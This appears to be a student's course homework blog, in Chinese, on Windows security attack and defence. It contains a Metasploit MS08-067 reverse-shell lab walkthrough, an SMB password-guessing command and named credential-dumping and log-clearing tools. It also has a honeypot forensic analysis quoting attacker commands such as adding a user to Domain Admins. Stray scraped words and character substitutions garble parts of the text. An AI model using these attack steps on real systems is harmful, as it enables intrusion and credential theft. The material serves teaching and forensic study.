20199310 2019-2020-2 《網絡攻防實踐》第7周做業

做業課程: https://edu.cnblogs.com/campus/besti/19attackdefense
做業要求: https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612
課程目標: 學習《網絡攻防技術與實踐》教材第七章,並完成課後做業
本次做業實現目標: 學習Windows操做系統安全攻防

做業正文:

1 知識點梳理

1.1 Windows操做系統的基本結構

Windows操做系統的基本結構
分爲運行於處理器特權模式(ring0) 的操做系統內核,以及運行在處理器非特權模式(ring 3)的用戶空間代碼。Windows與包括UNIX在內的現有大多數商業操做系統同樣, 採用宏內核(monolithic) 模式來進行架構,即大量的內核模塊與設備驅動程序共享內核態內存空間,這使得任意的內核模塊或設備驅動程序均可能破壞其餘內核模塊數據,這種宏內核機制也使得Windows操做系統容易遭受以驅動方式植入內核的Rootkit 的危害。html

Windows操做系統內核的基本模塊
Windows執行體,Windows內核體,設備驅動程序,硬件抽象層,Windows窗口與圖形界面接口內核實現代碼。
Windows操做系統在用戶態的代碼模塊
系統支持進程,環境子系統服務進程,服務進程,用戶應用軟件,核心子系統DLL。
Windows系統安全體系結構
Windows操做系統基於引用監控器模型來實現基本的對象安全模型,系統中全部主體對客體的訪問都經過引用監控器做爲中介,由引用監控器根據安全訪問控制策略來進行受權訪問,因此訪問記錄也都引用監控器生成審計日誌。
web

  • SRM是內核態中的安全引用監控器,LSASS是用戶態中的本地安全受權子系統服務,實現主體用戶的身份認證機制、對全部資源對象的訪問控制機制,來肯定安全主體身份的真實性;
  • Winlogon進程與LSASS中的Netlogon分別負責Windows本地和遠程登陸用戶的身份認證,利用LSASS所提供的身份驗證服務,來肯定安全主體身份的真實性;
  • 內核中的安全引用監控器做爲Windows資源寶庫的看門人,根據LSASS服務配置的安全訪問控制策略,負責對全部安全主體訪問Windows資源對象的受權訪問控制;
  • 安全引用監控器根據LSASS服務配置的安全審計策略,對訪問過程當中關注的事件進行記錄,並由EventLog生成系統審計日誌。

1.2 windows三個基本安全功能特性:

1.2.1 身份認證機制

Windows操做系統中以安全主體概念來包含全部進行系統資源訪問請求的實體對象,有用戶、用戶組和計算機三大類,對於每一個安全主體,以時間和空間上都全局惟一的SID安全標識符來進行標識,程序代碼的執行環境,而帳戶權限的根本做用就是限制這些帳戶內運行程序對系統資源對象的訪問。Windows系統中擁有一些內建帳戶,如擁有最高權限的本地Administrator帳戶,做爲自動運行系統進程環境的SYSTEMLocalSystem帳戶,具備相對極少權限的Guest圖
名訪客用戶,以及IUSR_ Machinename IIS服務的匿名網絡訪問帳戶等。而這些帳戶在黑客眼中,本地Administrator和SYSTEM帳戶擁有最高的權限,是他們攻擊的終極目標。
用戶組是爲了簡化用戶管理而引入的用戶帳戶容器,經過將用戶帳戶添加入特定的用戶組,就可使得該用戶擁有用戶組配置的所有權限,有效地使用用戶組,可使得系統管理員對權限控制的配置工做量大大減小。
Windows用戶帳戶的口令通過加密處理以後被保存於SAM或者活動目錄AD中,其中本地用戶帳戶口令信息通過不可逆的128位隨機密鑰Hash加密後存儲在SAM文件中,SAM存儲於%systemroot%\system32\config\sam文件系統路徑位置,並在註冊表的HKEY_LOCAL_MACHHINE\SAM存有副本,Windows內核對SAM文件加上了一個持久性的文件鎖,通常只有LocalSystem帳戶權限才能夠讀取,黑客們已經提出了多種技術能夠對SAM加密口令字進行暴力破解。
shell

1.2.2 Windows受權與訪問控制機制

Windows的受權與訪問控制機制是基於引用監控器模型,由內核中的SRM模塊與用戶態的LSASS服務共同來實施,由SRM做爲安全主體訪問對象資源時的中介,根據設定的訪問控制列表進行受權訪問。在用戶等安全主體通過認證以後,Windows系統會賦予用戶一個訪問令牌,在這個令牌中保存了一份與登陸用戶帳戶有關的安全主體SID標識符列表,包括用戶帳戶自己的SID,所屬用戶組的SID列表,同時還包含該用戶所擁有的一- 些系統特權列表。在Windows服務器操做系統中,用戶能夠執行內建的whoami命令來查看當前用戶的訪問令牌信息,好比查詢本機的用戶訪問令牌信息:

認證用戶在啓動進程執行特定操做時,進程在它的進程控制塊結構中也將包含-一個安全訪問令牌( Security Access Token),繼承了啓動進程的用戶帳戶中所擁有的訪問令牌,並做爲對一個進程安全環境的完整描述。windows

1.2.3 Windows安全審計機制

Windows安全審計機制的實現方式也比較清晰明瞭。系統審計策略在本地安全策略中由系統管理員定義,來肯定系統對哪些事件進行記錄。Windows系統審計策略的配置如圖所示:

LSASS服務將保存審計策略,並在對象啓動審計功能後,在對象安全描述符中的SACL列表中進行保存; SRM安全引用監控器在進行對象訪問受權時,也將依據對象的SACL列表配置,對指定的對象訪問和操做事件進行審計記錄,發送給LSASS服務;由LSASS服務補充審計記錄細節信息後,再將這些審計記錄發送給EventLog事件日誌服務; EventLog 服務最後將事件日誌寫入日誌文件中,並經過事件查看器工具展現給系統管理員,也能夠做爲第三方審計日誌分析工具的分析輸入數據源。Windows系統審計事件日誌查看器:
api

1.2.4 Windows其餘安全機制

Windows操做系統中還實現了大量其餘安全機制,來保護用戶更加安全地使用Windows系統,如圖所示:

在此集成了對於保護Windows系統安全穩定運行最爲關鍵的三項安全措施——防火牆、補丁自動更新以及病毒防禦。除安全中心以外,Windows的安全特性還包IPSec加密與驗證機制、EFS加密文件系統、Windows 文件保護機制、捆綁的IE瀏覽器所提供的隱私保護與瀏覽安全保護機制等。瀏覽器

2 實驗內容

2.1 Windows遠程安全攻防技術

Windows遠程攻擊技術:
遠程口令猜想與破解攻擊:遠程滲透攻擊Windows系統最簡單的方法仍然是猜想或破解出系統的登陸口令,從Windows 操做系統誕生以來一直存在的口 令暴力破解、基於字典的猜想以及中間人身份認證欺騙攻擊技術,仍對如今的Windows網絡構成現實的威脅。
攻擊Windows網絡服務:不管Windows自身獨有的SMB、MSRPC、NETBIOS等網絡服務,仍是IIS、MSSQL等各類互聯網服務在Windows系統上的具體服務實例,都不可避免地存在着可致使遠程代碼執行的高危性安全漏洞,攻擊者也一直在利用這些漏洞來對Windows網絡服務實施遠程滲透攻擊,從而獲得Windows系統的訪問權。
攻擊Windows 客戶端及用戶:最近幾年來在微軟公司Windows XP/Vista/Windows 7等操做系統的開發過程當中,都應用了SDL安全軟件開發生命週期,從而有效地提高了Windows系統及自己服務的安全性,同時引入了DEP數據執行保護、ASLR地址空間佈局隨機化機制、UAC用戶帳戶控制等安全特性,這都使得攻擊者愈來愈難以利用傳統的攻擊渠道來遠程攻陷Windows系統。在這種背景下,針對Web瀏覽器、第三方應用軟件的客戶端滲透攻擊變得很是流行,此外,攻擊者還會結合社會工程學技巧誘騙終端用戶來幫助他們執行假裝目的的惡意代碼或流氓軟件。
Winodws系統的安全漏洞生命週期:安全漏洞發現,安全漏洞滲透攻擊,安全監測防護機制升級,安全漏洞消亡。
Metasploit:是一款很是優秀的、徹底開源的滲透測試軟件,提供了CLI、Console、 Web和GUI四種不一樣的用戶交互接口,其中Console終端是比較經常使用的方式,能夠在終端中輸入help命令來查詢所支持的各類命令,其終端的主要命令列表:

在後面的實踐中咱們主要用到search,show,set,exploit/run等命令。安全

遠程口令字猜想:Windows經過基於服務器消息塊(SMB)協議承載的文件與打印共享服務來爲網絡用戶提供遠程訪問文件系統和打印的支持,而SMB協議也成爲了攻擊者實施Windows遠程口令猜想的傳統攻擊渠道。
攻擊過程服務器

  • 1.在SMB服務決定授予網絡用戶對所請求的共享文件或打印機的訪問權以前,它會先對用戶身份進行驗證,這就須要網絡用戶輸入正確口令,而攻擊者在此時就能夠對系統實施遠程口令字猜想攻擊;
  • 2.攻擊者一般使用SMB默認開放的隱藏共享卷做爲攻擊點,而後攻擊者須要目標系統的用戶名單做爲猜想對象,而用戶名單能夠經過會話查點技術進行收集;
  • 3.攻擊者經過攻擊工具來自動執行Windows遠程口令猜想。在命令行終端中輸入「net use \HOSTIPC$ * /u:Administrator」,而後根據提示輸入所猜想進行遠程口令猜想攻擊。

遠程口令字交換通訊竊聽與破解:竊聽網絡上的口令字交換通訊實施破解。Windows系統在對網絡用戶進行身份認證時,須要在網絡上交換信息,來確認網絡用戶是否擁有預先設置的口令字祕密信息。Windows不一樣版本在進行網絡身份認證時,使用了LanMan、NTLM和Kerberos三種認證協議。
針對這幾種Windows網絡認證協議中存在的弱點,一些口令破解工具能夠在線竊聽到Windows SMB服務中交換的口令密文信息實施破解,如Cain and Abel,L0phtcrack。網絡

遠程口令猜想與破解防範措施session

  • 1.儘可能關閉沒必要要開放的易受遠程口令猜想攻擊網絡服務,包括TCP 139/445端口的SMB服務、TCP 135端口的WMI服務、TCP 3389端口的TS終端服務以及TCP 1433端口的MSSQLServer服務等;
  • 2.配置主機防火牆來限制對應端口的服務,尤爲是訪問這些服務的源IP地址範圍;
  • 3.利用網絡防火牆來限制這些服務的訪問;
  • 4.保持Windows補丁的自動更新,並設置符合長度限制和複雜度限制的用戶口令;
  • 5.指定和實施強口令字策略,設置帳戶鎖定閾值,對用戶帳戶進行一端實踐的鎖定,也能夠在系統上激活帳戶登陸失敗實踐審計功能,經過按期查看實踐日誌報告,或利用第三方日誌分析工具來發現攻擊者的遠程口令猜想攻擊。

動手實踐:Metasploit Windows Attack

任務:使用Metasploit軟件進行Windows遠程滲透攻擊實驗。
具體任務內容:使用Windows Attacker/BT4攻擊機嘗試對Windows Metasploiable靶機上的MS08-067漏洞進行遠程滲透攻擊,獲取目標主機訪問權。

實踐步驟:

1. 啓動metasploit軟件,可根據我的喜愛使用msfconsole. msfgui. msfweb 之一
使用命令msfconsole啓動metasploit:

2. 使用exploit: windows/smb/ms08_067_netapi 滲透攻擊模塊
輸入search ms08_067_netapi,會顯示出找到的滲透模塊:

輸入use exploit/windows/smb/ms08_067_netapi,進入該漏洞模塊的使用,show payload會顯示出有效的攻擊載荷,其中有個shell_reverse_tcp是通用命令shell,可以實現反向TCP內聯。

show targets能夠顯示目標攻擊的全部操做系統類型,其中咱們使用Windows XP SP1的虛擬機,IP地址爲192.168.200.9:

3. 選擇攻擊PAYLOAD爲遠程shell, (正向或反向鏈接都可)
設置攻擊有效載荷set payload generic/shell_reverse_tcp爲反向鏈接:

4. 設置滲透攻擊參數( RHOST, LHOST, TARGET等)
設置targets,即爲目標嗅探靶機的類型爲2,即Windows XP SP1:

設置靶機和攻擊機的IP地址:

5 執行滲透攻擊
輸入exploit開始攻擊:

6. 查看是否正確獲得遠程Shell,並查看得到的權限
輸入enter鍵就能夠進入靶機shell,也就是cmd,能夠查詢在靶機上用net user查看全部用戶:

當前打開的cmd爲C:\WINDOWS\system32下的cmd.exe,並且靶機僅存在Administrator用戶,所得到的權限也是Administrators管理員用戶組的權限。

2.2 Windows本地安全攻防技術

在攻擊者得到Windows系統上的受限用戶權限以後,他們將當即着眼於得到終極特權:Administrator或Local System 帳戶。從受限用戶權限嘗試得到特權帳戶的攻擊技術也被稱爲特權提高( Privilege Escalation),業內簡稱爲「 提權」。Windows 系統上進行特權提高的攻擊途徑主要是經過DLL注入和破解本地程序安全漏洞。須要注意的是,從技術上來講,得到了Administrator 權限並不意味着得到了Windows系統的最高權限,Local System 帳戶比Administrator帳戶的權限更高,好比Administrator不能在系統運行時刻讀取SAM位置註冊表鍵值,而Local System 卻能夠。
本地獲取口令字密文的主要途徑

  • 1.從另外一操做系統啓動後拷貝文件系統中的口令密文文件,這須要攻擊者對目標系統擁有物理訪問權限,可以在物理主機設備上插入可啓動光盤或U盤,並重啓系統,經過攻擊者控制的操做系統對系統磁盤上的密文文件進行獲取。這種攻擊途徑在遠程攻擊中沒法實施;

  • 2.利用硬盤修復工具包中的rdisk工具,執行「rdisk/s-」 命令建立SAM備份文件副本;

  • 3.使用pwdumpX系列工具直接從SAM文件或活動目錄中提取口令字密文。
    Windows消滅蹤影

  • 1.Windows Resource Kit工具包裏的auditpol程序能夠關閉審計功能。

  • 2.經過遠程桌面控制目標系統,使用Event Viewer事件查看器來打開、讀取和清除這臺主機上的事件日誌,另外一種elsave程序可以根據攻擊者輸入的命令行參數把符合條件的日誌記錄進行清除;

3.實踐做業

取證分析實踐:解碼一次成功的NT系統破解攻擊。

來自213.116.251.162的攻擊者成功攻陷了一臺由rfp部署的蜜罐主機172.16.1.106(主機名爲: lab.wiretrip.net), 這是一次很是典型的針對NT系統的攻擊,並且咱們有理由相信攻擊者最終識別了蜜罐主機,所以這將是一個很是有趣的案例分析挑戰。你的分析數據源只有包含整個攻擊過程的二進制記錄文件,而你的任務就是從這個文件中提取並分析攻擊的所有過程。
1.攻擊者使用了什麼破解工具進行攻擊?
首先,咱們能夠經過snort提供的命令來查看網絡日誌文件中和攻擊機213.116.251.162相關的數據包,命令爲snort -vdr snort-0204\@0117.log host 213.116.251.162 > ./config/snort.txt

接下來能夠採起上一週實驗snort生成alert文件的方法snort -r snort-0204@0117.log -c /etc/snort/snort.conf -K ascii -l ./log用已知入侵方法進行檢測,其中-l指定生成alert文件路徑,必須提早新建一個log文件夾,能夠看到生成了342個alert信息:

進入log文件目錄,能夠發現生成了以IP命名的文件夾,裏面存在的alert信息,能夠經過snort官網查詢。

這條上網查到的貌似是檢測到非標準超文本協議或事件,可能須要更新規則庫才能檢測出。

這條是檢測出ftp服務登陸出現錯誤,說明攻擊機嘗試經過ftp服務鏈接靶機。

這條是檢測出目錄列舉和監聽。

這條是經過ping進行探測。

這條是一個來自運行L3的主機的Retriever1.5安全掃描器的主機的回波請求,包含消息請求中的惟一有效負載。

這條是Web目錄遍歷警報。

這條是web403訪問限制錯誤消息。

這條是msadcs.dll訪問,該DLL爲MDAC RDC控件服務程序,在3.x和4.x中存在已知的安全漏洞,這個漏洞使得遠程攻擊者能夠執行任意命令。

這條是在Microsoft數據訪問組件(MDAC)2.1到2.6的遠程數據服務(RDS)組件和InternetExplorer5.01到6.0中基於Heap的緩衝區溢出,容許遠程攻擊者經過對數據塊的格式錯誤的HTTP請求進行MDAC溢出攻擊。

這條是cmd遠程shell訪問。

這條是文件拷貝。

這條是nc.exe後門程序訪問。
以上對於日誌的分析能夠得出攻擊機主要利用了WEB-MISC http directory traversalWEB-IIS MDAC Content-Type overflow attempt這兩個漏洞,前者(MS00-078)是微軟IIS 4.0和5.0都存在利用擴展UNICODE字符取代"/"和"\"而能利用"../"目錄遍歷的漏洞,(MS03-026)也能夠利用遠程過程調用(Remote Procedure Call,RPC)的接口(具體位於RemoteActivation()函數)進行緩衝區溢出攻擊。後者(MS02-065)是MS MDAC緩衝溢出缺陷容許執行任意指令(Q32Array414)的漏洞。攻擊機經過nc.exe後門程序遠程鏈接了目標蜜罐主機的shell鏈接。

2.攻擊者如何使用這個破解工具進入並控制了系統?
瞭解了alert信息,咱們如今在用wireshark打開日誌文件,而後用ip.addr == 172.16.1.106 and http過濾靶機的http信息:
攻擊機首先請求訪問了蜜罐主機的http://lab.wiretrip.net/

從User-Agent中能夠獲取瀏覽器信息,以及操做系統爲Windows NT 5.0,安裝了MSIE5.01和Hotbar2.0插件,而後攻擊機向蜜罐主機請求了一些gif圖,這裏沒有能分析出什麼有價值的信息。
在第108條中出現了以下的信息:

這裏%C0%AF是「/」字符的Unicode表示方式,也就是上面所說的(MS00-078)漏洞,第128條中出現了msadcs.dll也就是利用上面分析到的RDS(MS02-065)漏洞,遠程攻擊者能夠執行任意命令。:

第137條中利用上述漏洞使用SQL注入,執行cmd /c echo werd>>c:\fun命令,在查詢語句中仍是用了dbq=c:\winnf\help\iis\htm\tutorial\btcustmr.mdb,能夠查詢到這是經過msadc2.pl滲透攻擊工具進行了攻擊。

咱們能夠經過wireshark中統計的http請求中來看到後續的信息,這種方式雖然比一條一條查找內容要簡便,可是上面的數據順序可能有必定的改變,大致上攻擊者經過ftpcom這個程序將nc.exe,pdump.exe,samdump.dll等下載到蜜罐主機上,而後攻擊機貌似嘗試用6868,6968,6969三個端口分別嘗試,構建了遠程shell通道,即攻擊機能夠直接調用蜜罐主機的cmd.exe:

3.當攻擊者得到系統的訪問權後作了什麼?
第1361條數據,顯示將c:\Program Files\Common Files\system\msadc\pdump.exe > yay.txt,這裏攻擊者嘗試使用pdump直接從註冊表中提取口令密文,可是失敗了。

第1704條數據,顯示攻擊機經過shell的net user在查蜜罐主機的用戶信息:

第1753條數據,顯示攻擊機經過shell的net session在與查蜜罐主機創建會話的主機信息:

第2320條數據,顯示攻擊機經過shell的net localgroup Domain Admins IWAN_KENNY /ADD嘗試將IUSER用戶加入Domain Admins組,提高權限至Administrator:

4.咱們如何防止這樣的攻擊?
首先是及時獲取Unicode和RDS兩個漏洞的補丁,其次是增強防火牆管理,再有就是禁用用不着的RDS遠程桌面服務,防止被黑客滲透攻擊。

5.你以爲攻擊者是否警覺了他的目標是一臺密罐主機?若是是,爲何?
攻擊機察覺了它是蜜罐主機,攻擊者將如下內容寫入文件rfp.txt:

團隊對抗實踐: Windows 系統遠程滲透攻擊與分析。

攻防對抗實踐內容:攻擊方Metasploit Windows Attack,防護方: wireshark 捕獲攻擊流,分析出攻擊哪一個安全漏洞,從官方網站上下載該安全漏洞補丁進行修補,給出攻防過程報告。
攻擊方:使用metasploit,選擇metasploitable中的漏洞進行滲透攻擊,得到控制權。
防守方:使用tcpdunp/wireshar/snort 監聽得到網絡攻擊的數據包文件,並結合wireshark/snort分析攻擊過程,獲取攻擊者IP地址、目標IP和端口、攻擊發起時間,攻擊利用漏洞、攻擊使用shellcode, 以及攻擊成功以後在本地執行的命令輸入等信息。團隊共同合做完成滲透攻擊與分析實驗報告。
咱們借用實踐一的漏洞攻擊,在攻擊機開始攻擊後用wireshark進行監聽,前兩條數據包是arp廣播和回覆,而後3-5條TCP數據包創建三次握手,咱們能夠看到攻擊者IP地址192.168.200.7,目標IP192.168.200.7和端口445、攻擊發起時間Apr 13, 2020 09:39:56.50,MS08-067漏洞是經過MSRPC over SMB通道調用Server服務程序中的NetPathCanonicalize函數時觸發的,因此用到了大量SMB協議:

而後在攻擊機中靶機的界面輸入net user查詢靶機用戶,能夠在wireshark追蹤流中顯示:

根據補丁連接進行漏洞補丁修補。

4.學習中遇到的問題及解決

  • 問題1:wireshark捕獲數據包數據分析
    問題1解決方案:一開始真的是一個數據包一個數據包檢查過去,後面才發現能夠用分析->追蹤流->TCP流來檢查一個完整數據流的ascii內容,這樣效率提升不少。


  • 問題3:對於大量數據包的取證分析
    問題3解決方案:感受能夠先用snort檢測報警信息,而後查詢snort官網,找出最主要的漏洞和滲透技術。而後對數據包進行TCP流分析,瞭解整個滲透過程。

5.學習感悟和思考

本次學習內容主要爲Windows操做系統的操做系統安全攻防,主要學習了metasploit這個軟件的操做,而且經過求證明踐對wireshark有了進一步的掌握。

參考資料

相關文章
相關標籤/搜索